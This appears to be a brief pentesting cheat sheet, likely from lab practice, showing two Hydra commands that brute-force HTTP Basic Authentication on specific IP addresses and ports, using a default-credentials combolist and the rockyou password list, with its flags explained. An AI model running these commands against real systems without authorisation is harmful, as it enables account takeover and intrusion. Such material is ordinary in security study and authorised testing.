Basic HTTP Auth

Bruteforcing Basic HTTP (combolist)

$ hydra -C /opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt 178.211.23.155 -s 31099 http-get /

-s is PORT

The wordlist above is a combolist (username:password)

Bruteforcing Basic HTTP (not combolist)

$ hydra -L /opt/useful/SecLists/Usernames/Names/names.txt -P /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt -u -f 178.35.49.134 -s 32901 http-get /

-L for username list (-l for single)

-P for password list (-p for single)

-u to try all user per password instead of 1 user for all passwords

-f stop after first valid creds found